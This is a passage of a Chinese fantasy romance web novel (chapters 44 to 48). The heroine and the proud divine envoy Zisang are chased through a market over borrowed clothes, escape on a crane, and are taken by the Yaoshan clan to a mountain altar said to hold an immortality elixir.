她拍了拍瘪瘪的肚子,又数了数所剩无几的铜板,酒楼客栈是吃不起,但路边小吃还是够的。
就怕她旁边这位小祖宗嫌弃。
赵玉屿眼珠一骨碌,嘿嘿笑着凑到子桑身旁问道:“子桑大人,您觉得帝都的御厨厨艺如何啊?”
子桑双手环胸,点评道:“虽皆是些山珍海味,但吃多了便也都一个口味,并无稀奇。”
“没错!”
赵玉屿双手一击掌,“再好吃的东西吃多了也就那样,据说这真正的美味都是在民间,而民间的美食中呢,得是路边小摊上的才最正宗!”
子桑斜眼睨她,瞥了眼她腰间,钱包瘪瘪出卖了她的心思,但见她双眼炯炯,不自觉地心就软了下来,也不好拆穿她的用意,勉为其难地嗯了一声。
见他同意,赵玉屿欢天喜地,顿时拉着他的胳膊就朝街上走。
少女青葱白玉的手指缠着他的胳膊,分明隔着层层衣料,可她掌心的温度似乎渗入到肌肤中,柔软又温热,让子桑心头一跳,忍不住弯起嘴角。
已近傍晚,昏黄的夕阳斜斜垂落,像是窝在屋顶的橘色懒猫,将青砖绿瓦都镀上了一层橘黄。穿街而过的小河泛着粼粼金光,倒映出天边绚紫夺目的重重霞光。
街边已经出了不少小摊,卖小吃的、衣裳的、首饰的、杂活的、玩具的,应有尽有,有的小贩们拉着摊位走街串巷地吆喝,手推车上的炉子冒出蒸腾热气,从小街巷里袅袅升起,扑鼻的香气氤氲了时光,舒缓又缱绻。
赵玉屿拉着子桑穿过流水般贯穿长街的各色摊位,鼻尖嗅到阵阵香味,不一会儿怀里就抱着各色的小吃。
子桑原本嫌弃街边的东西不干净,不论赵玉屿怎么哄就是不愿入口,直到瞧见路边的糖画。
小小一个摊位上插满了十二生肖的各色糖画,各个惟妙惟俏,生龙活虎。
子桑眼
睛顿时黏在上面,走不动路了。
他瞧了赵玉屿一眼,又望向糖画,嘴上虽不说,要付款的意思很明确。
赵玉屿瞧着他直勾勾的眼神,忍不住捂嘴偷笑,手办达人名不虚传,看到糖画都挪不开眼。
她故意望着糖画状似惊讶道:“子桑大人,这些糖画可真好看!瞧那猴子画得多逼真!那老鼠,还有那小狗,真是太可爱了!”
子桑听到这话嘴角略弯,刚伸手要去摘下糖画,哪想到下一刻赵玉屿就拉住他的手腕,拖着嗓子惋惜道:“不过大人放心,小女知道,街边摊的东西瞧着都不干净,定是入不了您的金口。”
子桑:“”
赵玉屿信誓旦旦:“而且这些糖画都是那些成日穿开裆裤光屁股乱晃的小孩子才会哭着闹着要买的,大人们从来都不会吃这些甜腻腻的粘牙的东西,更何况是子桑大人您呢!您放心,小女不会再乱买东西了!”
子桑:“”
他不紧不慢撩起衣袖,赵玉屿以为他要打自己,连忙一缩脑袋:“子桑大人我错了!”
下一秒,肉乎乎的脸蛋被掐住。
子桑双手捏着她的脸左右揉捏:“你还知道认错,现在敢戏弄我了。”
赵玉屿被揉捏得眼睛挤成一条缝,口吐不清求饶:“大人偶搓撩。”
“哼。”
肉乎乎的手感很是舒适,子桑玩够才恋恋不舍地收手,在赵玉屿揉着发红的脸蛋时,当机立断指着摊位上的生肖:“这个,这个,还有这个,这些我都要,一样一份。”
赵玉屿:“”齁不死你,吃得完吗?
“好嘞!”
摊主来了大生意,乐呵得撩起衣袖就开画。
糖浆加热冒着咕噜噜的热泡融化,摊主拎起装满了稀糖的长嘴壶在铁板上娴熟作画,手中糖浆如墨,嘴壶如笔,屏气凝神间手移浆落,一笔而成,一副玉兔捣药图就画好了,活灵活现甚是精细,赵玉屿瞧见都忍不住赞叹。
“老板,您这手艺可真厉害。”
摊主笑呵呵:“都是家传的手艺,从小就练,熟能生巧嘛。”
不一会儿,剩下几根糖画也制作完成。
摊主还多赠了他们一根糖人画,一瞧便是子桑的模样,形简神似,甚至画出了眼中的淡淡睥睨。
赵玉屿凑近一瞧,忍不住赞叹:“子桑大人,这个小人可以给我吗?”
子桑捏起其中两根,见她看中自己的画像,压住上扬的嘴角,口中道:“画得还不及我十分之一,原本我的画像旁人求都求不来的,不过你既喜欢就拿去吧。”
赵玉屿担心他误会自己对他有异想,解释道:“不是,这个糖人看着糖多些。”
子桑:“”
第45章
见子桑冷脸离开,赵玉屿不知道自己又哪里得罪了他,连忙付了钱将剩下几根包好,赶紧追上。
“子桑大人,这么多糖画,您吃得完吗?”
“吃不完就给小白吃。”
赵玉屿见他明显的不高兴,嘿嘿笑道:“吃不掉给我吃嘛,我不怕胖的。”
子桑斜了她一眼,阴阳怪气:“你有那根糖多的不就够了。”
赵玉屿:“”
见他盯着自己手上的糖人画,赵玉屿以为子桑是觉得自己吃他的画像有些冒犯,当机立断将糖人双手递给他:“子桑大人,小女深刻认识到了自己的错误,这根糖人既然是大人的画像,如何能是小女可以食用的,还请大人享用。”
不知为何,子桑好像更生气了。
他咬了咬牙:“怎么,你倒还嫌弃我了?”
赵玉屿:“?”
不是,不是你嫌弃我吗?
她斟酌用语犹豫道:“那小女将这根糖人供起来?”
子桑:“”
子桑恶狠狠接过糖人,望着一脸懵逼的赵玉屿横眉竖眼地吩咐:“张嘴!”
赵玉屿犹豫片刻,还是迫于他的淫威张开了嘴。
冰凉凉的糖人顿时被塞满口中,甜腻腻的香味化作满口茉莉香。
好吃!
赵玉屿眼中一亮,这糖浆里掺杂了茉莉花蜜,比起旁的糖人多了丝清甜之感,很是清甜爽口。
子桑塞了糖人后扭头就走,瞧着他气哼哼的背影,赵玉屿连忙追上。
“子桑大人,你等等我啊。”
手上东西太多,赵玉屿步子本就比子桑要小,她也不指望莫名生闷气的小祖宗能主动帮自己分担些东西,直接就地哀嚎。
“大人,我走不动了。”
不远处子桑听到声音身子顿了顿,两人皆立在原地僵持,他似乎挣扎片刻,见赵玉屿丝毫没有要追上来的意思,而后,子桑咬了咬牙扭头回去,不作一声从赵玉屿手中将东西一骨碌接过,扭头就要走。
走,走,走不掉。
衣袖被拽住,子桑正要抬脚的步子顿在原地,扭头就见赵玉屿笑如玫瑰,像是偷腥得逞狡黠的狸花猫一样撒娇道:“子桑大人,我好饿,想吃馄饨~”
软糯糯的声音带着丝讨好,像是在心尖上裹了一层糖浆,不自觉就软了下来。
他闷声闷气:“钱不是都在你那儿吗,问我做什么。”
赵玉屿见他不生气了,笑呵呵拉着他的衣袖坐到一旁的馄饨摊上,将他怀中的小吃包裹都卸下铺展在桌上:“大人辛苦啦,吃完馄饨歇歇脚~”
随后,她又扭头朝摊主喊道,“老板,来两碗馄饨!”
“哎,来嘞~”
摊主一掸肩上的抹布,将桌子利落擦干净,笑言:“客官稍等,咱们家的馄饨啊又香又大馅儿又多,马上就好!”
云气腾腾的热火起锅,□□透粉的馄饨在锅里滚了几滚后用大漏勺捞出,又舀了瓢奶白的热汤浇上,撒上葱花滴几滴香油后送上桌,香味扑鼻而来,馋得赵玉屿赶紧送入口中。
皮薄肉多,没有寻常猪肉陷过于紧实的涩口感,而是滑嫩弹口,配上汁水和榨菜入口,胡辣鲜咸嫩,口感层次丰富,的确口味独特。
子桑却没多大兴趣,慢条斯文吃上几口后,又拆开一根糖画放入口中细细含化。
见子桑对手中糖画很是喜爱,赵玉屿好奇问道:“子桑大人,你这么喜欢小动物,那像猴大小白它们,是从小就跟着你的吗?”
子桑思忖片刻:“八岁的时候。”
八岁?
赵玉屿算了算,子桑正是八岁那年如神祇临世般只身一人来到帝都,自此成为护国神使。
说起来,这十年的至上生涯中,子桑的身边似乎只有动物陪伴,小白和猴大比起伙伴、宠物,更像是他的家人。
“那八岁之前呢?”
子桑捏着糖画的手微顿,口中的糖画被不经意咬断,瞬间融化成糖水,黏在喉咙里有些甜得发腻。
“不记得了。”
他语气幽幽,霎时的平淡疏离,让赵玉屿意识到自己说错了话。
子桑他似乎,不太想提及以前的事情。
说来倒也奇怪,子桑虽是瑶山族人,可书中并未提及过他幼年在瑶山的经历。
之前许公公提及瑶山时,子桑眼中的厌恶和不屑溢于言表,丝毫不加掩饰。
可按道理说,子桑乃是天命归仙之人,瑶山既自视为仙族后裔,对于子桑自然应当视若珍宝,为何会让他独自离开多年,又只在向德仁帝进献的信件中才不痛不痒的提及让子桑回去?
子桑又是为何独自离开瑶山,十年未归?
这些日子两人的独处,赵玉屿以为自己越来越了解子桑,她看到了子桑鲜为人知的另一面,孤傲疏离的背后,他会顽劣,会冲动,会攀比,会生闷气,会毒舌傲娇,有时又天真地让人发笑,就像是一个寻常的十七八岁的少年。
可越与子桑相熟,越觉得自己了解他,赵玉屿就愈发感到其实自己与他的距离越来越远。
子桑的身上总是披着一层薄纱,那层薄纱看似一戳就破,却如铜墙铁壁将他整个人紧紧包裹住
,不留一丝缝隙,仿佛连他自己都快要被裹挟得喘不过气来,只能在这须臾时光中挣扎着喘息。
或许是天道的宿命太过沉重,让子桑想要逃避,又或者是其他原因让他不想回到帝都和瑶山,赵玉屿虽不知原因,却感觉得到他的挣扎与痛苦,所以她也选择了沉默和逃避,陪他守在那与世隔绝的幽僻小屋中,至少在这段时光里,只有林深见鹿、鱼跃溪泉。
可是这样的时光又能持续多久呢?
梦会醒,翳障总会被撕破,露出彻骨现实的那刻,命运的残忍将赤裸裸的全盘呈现,那个时候,逃避的薄纱,一揭即碎。
赵玉屿沉默的吃着馄饨,忽然,头上笼罩一片阴影。
她抬起头,瞧着将馄饨摊包围的一群彪壮大汉眨了眨眼。
“各位大哥,有何贵干啊?”
彪壮的脑袋,像是冠枝茂密的树木围绕住天空。
“是不是他们?!”
壮硕高松的树木外挤进一个灌木脑袋,之前招待赵玉屿他们的裁缝店老板斩钉截铁:“对,就是他们!”
“把他们给我抓起来!”
见这些人不由分说就要动手,赵玉屿赶紧护住子桑,生怕他们不小心拉扯到小祖宗招来横祸。
“等等等等等等,各位大哥,你们这是什么意思,不由分说就抓人,这青天白日的还有王法吗?”
为首的一个八字胡须的中年男子冷笑一声:“王法?你们两个小贼偷了我家主子的衣服被褥,你们还有王法吗!”
赵玉屿听到这话心中一惊,就见那男子接着高声道:“得亏老天有眼,让你们进了徐裁缝的店。我家公子小姐的衣裳向来是在徐裁缝那做的,他一眼就认出,特意前去咱们府上核对,否则还真让你们两个小贼跑了!”
赵玉屿自知理亏,呵着笑脸解释:“几位大哥,误会误会,咱们是江湖救济,不是偷是借,衣服被褥都已经还回去了,我还塞了一吊钱进去,就当是这几日的借款。”
那中年男子薄笑:“你说是借就是借?借而不告便是偷,把他们抓起来,送去官府!”
徐裁缝此时倒向那中年男子劝道:“柳管家,我瞧这两孩子气质不似寻常人家,对衣服料子也颇有心得,今日到我店中也出手阔绰,或许这其中的确有误会。”
“误会?有什么误会,家道中落也是贼!”
柳管家冷哼一声,趾高气昂道,“或许正是他们熟悉衣料,所以知道咱家少爷的衣服昂贵,才起了偷窃的心思!那钱说不定也是偷的,之前不还有人瞧见他们当街卖艺吗,两个下作的小胚子,也敢肖想公子小姐们的东西!”
赵玉屿从小到大何时被人这么作践过,一拍桌子站起身:“钱是我们自己挣得,实在不行,衣服被褥我们买了还不成吗?”
“买?你说买就买,那衣服你们也配穿?”
柳管家这几日正因府中查账的事情焦头烂额,又摊上府上公子小姐们丢东西,一直压着未敢让老爷知道,如今揪到了凶手,便将几日的气一股脑子全撒了出来。
“你们这两个下贱胚子,不干不净的扒手,偷东西敢偷到我们齐府上,你们”
“呵”
发泄似的冷言讥语间,一道轻笑鬼魅袭来,分明语调轻缓,然其中讥讽嘲弄轻蔑十足,像是一柄钢刀硬生生砍断了泼天谩骂,将柳管家的话掐在喉咙中。
柳管家噎了噎,目光落在一直静坐含糖的少年身上,面色狰狞:“你笑什么?!”
咔嚓。
最后一小块糖画被咬断,慢条斯文地卷入口中咀嚼。
子桑略微抬眼,黑如点漆的眸子逐渐尖锐、玩味、阴翳。
牙齿咀嚼糖块的咔嚓咔嚓不紧不慢地响起,不知为何,柳管家感到甚是阴森可怖,一阵寒意从心底陡然生出,总觉得自己像是这少年口舌间的猎物,浑身骨头随着他咀嚼的动作被一点点碾碎。
他禁不住咽了咽口水,原本盛气凌人的架势消退大半,口齿有些结巴:“你,你想做什么?”
咕咚。
子桑咽下糖块,伸出猩红的舌头舔了舔嘴唇,似乎在回味方才的甘甜,随后,他轻启薄唇,咧嘴一笑,露出皓白的牙齿,尖利的哨声在口中酝酿,无人可见处,街头繁茂的枝丫上已爬满了密密麻麻的毒蝎,首尾相连,蝎尾高昂,只待一声令到,便如雨落般落下枝头。
第46章
哨声出口的那一瞬,一只柔软的手覆盖住他的双唇,掩去了勾满鲜血毒斑的命令。
少女身上隐隐弱弱的香味顺着指腹飘入鼻息,并非月麟残香,而是这些日子萦绕在枕边,少女身上独有的体香。
还混杂着些许茉莉花糖的甜味。
子桑垂下的眼眸蝶翅般轻颤一下,倏忽忘了自己此刻要做什么,浑身的感知皆在双唇紧贴的肌肤上,温凉,柔软,微甜,让他的心绪不由飘荡到几日前的海边,忍不住抿了抿唇,耳尖染上一点飘忽的红,全然忘却此时的处境。
“子桑大人,我来搞定。”
赵玉屿贴着他的耳边悄声道。
少女娇俏低柔的声音顺着呼吸间的气息缠绕住耳朵,搔着敏感的耳道轻飘飘飞入心尖,柔柔痒痒,让少年人在最经不起撩拨的年纪忍不住目光飘忽,下意识屏住呼吸。
赵玉屿未曾留意身旁愈加红得滴血的耳朵,她只注意到头顶满树的毒蝎子啊!瞧得她心抖上几抖。
我去,看来子桑是真生气了,毕竟他长这么大应当没被人这么指着鼻子骂过,还骂得这么脏。
要不是她情急之下捂住子桑的嘴,怕是如今在场诸位都手拉手去地府报道了,这馄饨摊的生意也别做了。
这些人今日怕就是特意来找麻烦的,想要和平解决应当不太可能。
但子桑一出手未免也有些太不计后果了,毒蝎子啊,罪不至此啊!
赵玉屿拱了拱拳,面上笑呵呵朝众人道:“诸位不就是想要个证据吗,好,我给你们证据,证明我们不是小偷!”
她说得义正词严,掷地有声,再加上方才子桑的作态让众人一时摸不准,只看她如何自证。
赵玉屿双手伸到桌子下,似乎在摸索着什么物件,忽而眼前一亮:“找到了!”
众人皆探头凑近,想看看她翻找到了何物,就见赵玉屿双手猛地从桌下抽出,大喝一声:“走你!”
话音未落,桌底突然蹿出一道黄色闪电,在众人中飞窜,伴随着尖锐怪叫露出一张狰狞怪异的三角凹鼻尖牙脸,五指成爪,白光骤闪间挥出一道血痕,众人猝不及防,顿时人仰马翻,惊恐躲闪。
“大人快跑!”
与此同时,赵玉屿已经猛然推开最近的大块头,拉着子桑拔腿就跑。
见被骗了,柳管家捂着流血不止的脸大喊:“还不快去追!”
人仰马翻的打手们连忙从地上爬起来,“哎呦哎呦”得一边哀嚎一边朝赵玉屿他们追去。
猴大从树梢荡起,一跃落在街边小摊贩的棚帐上再猛然弹起,在流水般的摊位上并手并脚起起伏伏飞落,扒拉着摊贩上的货物朝追踪的壮汉们砸去,引起一阵怒骂尖叫,原本热闹的长街愈加混乱,赵玉屿边跑边挥着手大喊:“所有损失找齐府柳管家赔偿!柳管家全包了哈!”
柳管家见她如此张狂栽赃,气急攻心,捂着胸口差点晕厥,抽出一旁小摊上的香蕉朝他俩砸去:“给我追上他们!”
猴大从摊位上荡下,半空中一把接住香蕉,嘻嘻哈哈边跑边剥开香蕉皮吃完后将皮朝后一扔,精准丢在柳管家脚底下。
“哎呦喂!”
柳管家脚底打滑,猝不及防摔了个狗吃屎,鞋子嗖溜溜飞到天边,在半空打了个旋,正中红心砸在自个儿的脸上,留下一个沾满尘土的鞋印子。
赵玉屿瞧见他那倒霉样,心中一口郁气顿时舒畅,笑得前合后
仰不可开交,结果乐极生悲岔了气。
一行人一前一后穿过长街,赵玉屿他们两人的速度本就比不上身强体壮的专业打手,赵玉屿又岔了气,眼见就快要被追上,她一手掐着腰,停下来气喘吁吁道。
“子桑大人你先跑吧,我跑不动了,我去引开他们。”
正待松手朝一旁岔路跑去,忽而,手腕被一股不可抵挡的强劲握住,一瞬间,赵玉屿感到身体无比轻盈,被那股力量牵引向前。
她望向拉着她奔跑的子桑,少年没有回头,墨黑的长发绸缎般在风中飘扬,发梢轻轻扫过鼻尖,微微的痒,在她的角度看不到子桑的神情,却可以看到他高挺秀丽的鼻梁,和鼻梁下紧抿的嘴唇,以及紧紧抓住她的清峋修长如玉般精心雕琢的手。
心中陡然涌起一股从未拥有过的莫名澎湃的情绪,是没有被放弃的欣喜和彼此相依的信任,赵玉屿忍不住勾起嘴角,注视着子桑的背影,跟随着他的脚步,一步一步,穿过长街,跑上石桥,然后踏在桥柱上毫不犹豫的在石桥中央一跃而下。
“有人殉情了!!!”
石破天惊一声尖叫炸出人群中一片不知所云的哗然声,瞬间,吃瓜众人皆探头向长桥观望,就连酒楼二楼都伸出一排排脑袋四下张望询问道。
“哪呢,哪有人殉情?”
打手们慢了一步,追到石桥时赵玉屿两人已从石桥跳下,几人低头趴望,眼睁睁见着两人即将落水的那刻,忽而有白鹤如离弓利箭从夕阳笼罩灿若金光的桥洞中射出,精准托起跳落的两人,细爪划开水面的瞬间,振翅起伏冲天而上。
猴大在它从水面飞起的那一刻压弯河边的树枝弹射而起,抓住它的细爪攀上脊背,荡着双腿摇臂咕咕怪笑。
“神,神祇”
长桥上渐渐聚集了大批百姓,瞠目结舌地望着已逐渐远去,在昏紫绚烂的晚霞中消失成一点银光的身影。
不知谁惊叫一声:“这是仙人下凡呐!”
众人恍惚惊醒,纷纷跪地叩拜,祈福高呼声此起彼伏,将柳管家等人的惊愕和惶恐淹没于人海。
柳管家此时心跳加速,刚跑了一圈长跑又遇见此等奇观,只觉得心脏一时刺激,捂着胸口惊呼一声“天爷嘞!”,旋即两眼一翻梗头倒了下去。
身旁的打手顿时慌成一团:“柳管家!柳管家!您没事吧!”
柳管家此时觉得自个儿还不如一头撅了过去,他这是招惹了何方神圣呐!
赵玉屿两人自然不知道之后的事情,她刚经历逃跑跳河,惊心动魄的刺激和劫后余生的欣喜让赵玉屿兴奋不已,朗声大笑。
“神使大人,谢谢你。”
子桑望向她肆意的笑容,一歪头:“谢我什么?”
赵玉屿星眸灿烂:“谢谢你没有丢下我。”
子桑嘴角微扬,目光挪向远方没有说话。
“可惜了!”
赵玉屿忽而又双手在空中划了一拳,懊恼道,“我买的那么多东西还没来得及吃上口热乎的就没了!浪费啊,可耻啊!”
子桑瞧着她气恼地扯头挠脸的模样,胸口发出一阵轻震,身子朝后一扬,双手垫在脑后枕在她的大腿上惬意道。
“回去给你烤鱼吃。”
想到子桑前几日烤的鱼,赵玉屿抽了抽嘴角:“神使大人,您还是自己吃吧。”
见她抑制不住的嫌弃,子桑伸手掐住她的脸,眯眼威胁:“你敢嫌弃我?”
“不敢不敢。”赵玉屿屈于淫威,小声嘀咕,“你自己倒是多吃点啊。”
子桑:“嗯?”
赵玉屿回了他一个灿烂无比的笑容。
飞鹤划过被夜色沾湿成一团浓紫的森林,最后一丝天光也被繁茂的树木遮挡住。
赵玉屿忙活了一天,再加上兴奋过后的倦怠,很快便歪头打起了瞌睡。
等她再次睁开惺忪睡眼时,发现已然小白已然落地,她正靠在子桑的怀里。
子桑坐在鹤背上丝毫未动,宽阔的大袖笼于她单薄的身上,挡去了凌冽寒风。
“神使大人,到家了你怎么不喊我啊。”
赵玉屿揉了揉眼睛,小屋的四周未燃篝火,周遭一片漆黑,像是眼睛上蒙了一层密不透光的黑布,伸手不见五指的黑暗使心底生出一丝不安。
虽无光亮,可赵玉屿似乎能敏锐的感觉到,仿佛有什么东西于黑暗中窥探着他们的一举一动,像是潜伏在阴影中的毒蛇,令人头皮发麻。
按道理说,这处偏僻之地除了他们也不会再有旁人,若是野兽,有子桑在也会臣服退避,可那异样的感觉越来越强烈,她忍不住搓了搓胳膊,朝子桑靠近些悄声道:“神使大人,你有没有觉得有些瘆得慌”
“呵”
子桑低笑了一声,而后,笑声逐渐放大,像是她说了什么逗得人捧腹大笑的笑话一般,随着他肆意的笑声,赵玉屿感到不远处似乎有银光飞快闪过。
那光细弱,但在这幽黑的森林中却很是扎眼,必定是有其他东西在附近。
赵玉屿赶忙揪住子桑的衣袖想要提醒,却猝不及防被子桑一把搂住腰肢强势而不容分说地按在怀中,隔着衣衫,少年人温热的气息将她严丝合缝的包裹住,她甚至能清晰的听到不知是子桑还是自己的强劲而有力的心跳。
扑通,扑通
在赵玉屿错愕间,子桑低头凑到她的耳边,叹了口气,似乎有些惋惜。
“可惜吃不了烤鱼了。”
唰——
四周骤然燃起几十支火把,层层火光以白鹤为中心散开,将原本漆黑的森林照如白昼,迷迷的黑烟笼罩住上空,天愈发黑得沉重、窒息。
扭曲炽热的火光中,密密麻麻映照出几十张打扮相同的被火光映照成古铜色的脸,恍若举着火把看阴暗枯朽的墓地中破败壁画上雕琢的陪葬使团。
那些人步履一致走上前,像是踏着整齐如一的鼓点共舞,将赵玉屿他们包围住,右手按在胸口,用沉淀古老的语调,恭敬垂首道。
“恭迎神子回族。”
第47章
浩浩的风拂耳而过,赵玉屿低头下望,透过小白长风中凌乱的羽翼和丝丝缕缕的飘云,几十条吊睛白额的大莽虎荡开层层碧涛,在松枝波荡中秩序井然地飞速穿行,接应子桑的瑶山族人骑虎前行,向远处高耸入云的群山之巅一路飞奔。
赵玉屿裹了裹身上的雪狐裘,这件衣裳是子桑从其中一个瑶山族人的身上扒下来的,瞧着甚是昂贵。
原本赵玉屿还不明白子桑为何如此,只以为他是看中了人家的衣服漂亮就明抢,随着队伍不断向北,空气渐渐变得冷冽稀薄,赵玉屿忍不住将脖子也缩进雪狐裘中,呼出一口凉气。
小白还在不断上升,地上的绿松逐渐稀疏,渐渐被白雪覆盖,寸草不生。原本骑虎而行的队伍不知何时坐骑换成了长毛白牦牛,在雪地飞驰,恍若一队逆行而上的滚滚雪球,所到之处,雪雾漫天。
“神使大人,既然他们也能驭兽,为什么不直接驭鹤飞行啊?”
还要换来换去的,好麻烦。
子桑瞥了眼下面匆匆而行的队伍蔑然道:“仙鹤通灵,小白可不是什么人都能驾驭的。”
鹤乃是仙灵之物,慧根卓群,孤傲难驯,非上等驭兽术不可为。
赵玉屿非常合时宜地拍起马屁:“神使大人好厉害。”
子桑对她的奉承心安理得的享受:“坐稳,马上就要到了。”
小白仰头唳声高鸣,脊背起伏间振翼高飞,犹如骤闪白光划破万里长空,在漫天飞雪中长身竖立,如离弓利箭几乎呈90度贴着高耸入云的巍峨山体冲行,速度丝毫未减,赵玉屿双手抓紧把手,身子因巨大的惯性后仰,倒在子桑不动如山的怀中。
凌冽寒风飒飒袭来,如同冰刀子割肉冻得生疼,极快的速度和从未到达过的高度让她的大脑有些缺氧,扭过脸埋在子桑怀中。
忽而身子
骤然一轻,如上云端,灵魂出窍,小白已冲入高原,又扭身一跃而下,如入水蛟龙,贴着冰面滑行,留下一道蜿蜒曲折的雪迹。
赵玉屿:刺激。
遥遥望去,他们所处的冰原像是一个巨大的盆地,四周高耸入云的雪山环绕形成天堑,雪山往内收拢处却似人为开凿出的巨大滑冰场,边缘高达数十丈,表面冰层覆盖,光滑似镜,浑然一体,易下难上,这个地方就像是一个天然的牢狱,外面的人难寻入,里面的人也出不去。
雪域之北,山巅之处,透过风雪隐隐望去,高柱累台,五色彩旗猎猎飘扬,似是一处祭坛。
近处,巨大的盆地里驻扎着形状各异的矮木屋,木屋的窗户皆用羊皮钉上,密不透风。
有女人正在屋后的棚圈里挤羊奶,孩子穿着厚厚的袄子,走街串巷的追着扑啦啦直飞的雪鸡玩。
这里和寻常的村落看起来差不多,只是似乎遍地可见的雪域动物。
小白在村落的上空划过,飞至盆地正中央的广场收翼落下,已经有一群人站在广场处,看上去已等候颇久。
望着长颈高昂的小白,他们的目光中闪过一丝艳羡,站在后排的年轻子弟甚至想要上前抚摸小白的羽翼,被领头的老人呵退。
领头人眉须皆白,他通身的白衣白帽,苍白的脸色和飞雪融为一体,只一双沧桑的眼珠带着浑浊的黄,像是两块混了杂色的劣质玻璃珠子。
赵玉屿刚从小白身上滑落下地,就感到地面一阵剧烈抖动,几十只牦牛从山顶冲下,轰隆隆震天动地,是迎接子桑的队伍刚到。
领队的老人走上前,右手按在胸口朝子桑躬身行了一礼,嗓音嘶哑:“恭迎神子。”
子桑双手拢袖,修长的身形让他居高临下望着瘦如干尸的老者,轻薄讥笑:“子桑琽,你老得快死了。”
子桑琽对他的挖苦毫不在意,依旧面不改色:“不及神子荣光。”
这位老者也姓子桑?
赵玉屿讶然,原著中提及过,子桑是瑶山族人最尊贵的王姓,只有族长一脉才可继承。
那这位老者与子桑应当有血缘关系,可怎么两人的关系看起来并不融洽,甚至剑拔弩张。
而且,就连瑶山族人都唤他神子,那他的本名呢?好像子桑也从未说过他的名字。
子桑抚摸着小白的脖颈,感受到爱抚,小白扭头,圆润的黑脑袋亲昵地蹭了蹭他的脸。
看见仙鹤对子桑如此信任亲昵,一众瑶山族人目光中皆漏出艳羡和隐隐的嫉妒。
子桑轻笑一声,在众人艳羡的目光中用下巴轻轻蹭了蹭小白的的脑袋:“去玩吧。”
小白高唳一声,展翅而飞。
子桑琽望向仙鹤却不似他人有丝毫艳羡,他低首侧身,嘶哑的嗓音恭敬道:“神子请。”
子桑却不瞧他,而是昂首吩咐:“瑶山一族避世良久,倒失了待客之道。本尊不远千里而来,披风惹尘身上腻得很,需得焚香沐浴,净身洗礼,方可承接长生不老之药。”
不知为何,赵玉屿总觉得他提及长生不老之药时,眼中讥讽几尽溢出。
子桑琽咳了一声,嗓音浑浊:“这是自然,还请神子移步。”
子桑似是冷笑一声,一甩衣袖,越过众人轻车熟路的朝冰崖走去。
赵玉屿跟在他身后,顺着冰崖的阶梯一路向上,在半途穿过开凿而出的冰窟继续前行。
她这才发现这里的冰层极厚,冰窟的两旁一排火把一直延伸入内,像是冰晶下的火种,将本就明亮的冰层照得更加通透。
然而随着逐渐深入冰窟,光线照射不进,四周逐渐黯淡,直至进入山体后,一切晶莹璀璨皆消失殆尽,唯独留下灼眼的火光投映在黑而坚硬的岩石上,随着人经过带起的微弱气流扭动,一团团光影重重叠叠在一块儿,像是偷偷窥探的鬼影。
两人在族长的指引下穿过道道曲折的岔口,最后,在一团隐隐若若的白光中,他们到了一个房间。
推开门,里面已经备好了热水,这间房是用木头和冰层混合搭建,里面地板铺着一整张极厚的长绒羊皮毯,赤脚踩在上面也未有丝毫凉意,屋里日常用品应有尽有看起来像是有人居住,然而细细察看可见桌椅床被皆落了层薄灰,应当是有人定期来打扫屋子,窗栓也生了锈,想要打开要费些力气,这屋子日常应当很长时间未有人居住。
推开窗户,入眼依旧是一片白意,他们所在之处的冰原是一个弧形陡崖,沿着崖壁雕凿出一人宽的栈道,每隔几米便有一个手执兵器的侍卫驻守。
栈道在崖壁的尽头向上,形成一条天路顺着高耸的冰原延伸入山顶,如同这巨大冰原的节节脊骨。
桑琽留下两名年轻人守在门外后便离去,赵玉屿合上窗户,子桑已褪去衣物浸泡在浴桶中,水汽氤氲朦胧,如同白色小蛇丝丝缕缕钻入鼻中,一股似有若无的淡香萦绕周身,子桑扯起一道微弱的轻屑薄笑,舒舒服服的沉下身子,靠在浴桶里阖眼休憩。
待他泡好澡已经过了半个时辰,子桑饱睡一觉,打了个哈欠不紧不慢从水中起身。
猴大拿毛巾为他擦净身子,套上里衣。
子桑站在镜前,赵玉屿为他穿上自己缝制了月余的华服,为他挂上配饰,繁重璎珞上的十二生肖随着动作轻微晃动,铃铃做响,像是细碎的雀鸣,甚是悦耳。
“神使大人,我总觉得有些不对劲。”
赵玉屿为他配上腰带,趁机凑到他耳边轻声道,“这里的一切都很奇怪。”
不知道是不是她的错觉,她总觉得那些迎接的瑶山族人瞧见子桑的眼中并未有丝毫欣喜,按理说子桑既然是瑶山一族的神子,注定魂归天位飞升神格,那应当是瑶山一族图腾一般的存在才对。
可是他们看到子桑的目光,一点也不像是看到了久别未见的神子的眼神,甚至还未有帝都的百姓来得热忱炽烈,反而带着警惕和戒备,尤其是那个族长。
赵玉屿低声碎碎道:“神使大人,实在不成咱们还是走吧,外面就是悬崖,咱们敲晕守卫不成问题,直接唤了小白飞走,他们也追不上咱们。”
她的计划被子桑的低笑打断。
“神使大人,您笑什么”
下一瞬,在赵玉屿的惊愕中,子桑忽而搂住她的腰肢,将她整个人按在怀中,两个人隔着衣物紧紧相贴,胸膛与胸膛,可以感受到彼此的心跳,像是生而一体,不留一丝缝隙。
他的头埋在赵玉屿的肩弯处,细碎的额发遮住眉眼,看不清他的神色,唯有紧紧搂着少女腰肢的青筋暴起的手背泄露了他此时波涛起伏的心绪,像是要将她整个人揉入骨血里。
赵玉屿愕然:“神使大人”
子桑缓缓道,声音轻柔得像是薄雾:“不会有事的,你放心。”
他的话像是一剂良药,瞬间让赵玉屿不安的心绪得以缓解,她点头:“那我同你一起去祭坛。”
子桑已经松开手,直起脊背望向赵玉屿的眼眸:“你留在这里,小白会来接你。”
离开。
赵玉屿却没听出他的言外之意,也没有看到他深藏眼底的缱绻眷恋,以为他是让自己等候小白的接应,顺从的点了点头:“好,那我在这等你。”
外面已经站满了接应子桑的瑶山族人,赵玉屿抱着猴大将子桑送出房间。
她站在屋外的栈道上,望着子桑拖起华丽长袍,一步一步,于风雪中,在众人簇拥下沿着天梯登上山巅。
鲜红的华袍,像是皑皑白雪中的一滴血。
第48章
风雪之巅,高挂在祭坛四周的猎猎彩旗随风呼啸。
子桑琽一干人等停下脚步,朝走在前方的子桑垂首道:“神子
请,长生不老药便供奉在祭坛之上。”
子桑抬眸望向祭坛。
这座祭坛玉石基地九层台阶,每一层台阶皆雕凿一种动物环绕跪拜,共奉祭坛,祭坛中央,是两个巨大的仙鹤环日玉屏,仙鹤首位相连,其中红日当空,与当空高阳交相辉映,犹如双日共天,玉屏前摆放着一个漆黑木盒,阳光下流光溢彩。
子桑琽再次道:“神子请。”
子桑瞥了他一眼,眼中似是含着戏谑,踱步朝祭坛中央走去,缓缓走到双鹤环日玉屏下,伸手打开盒子。
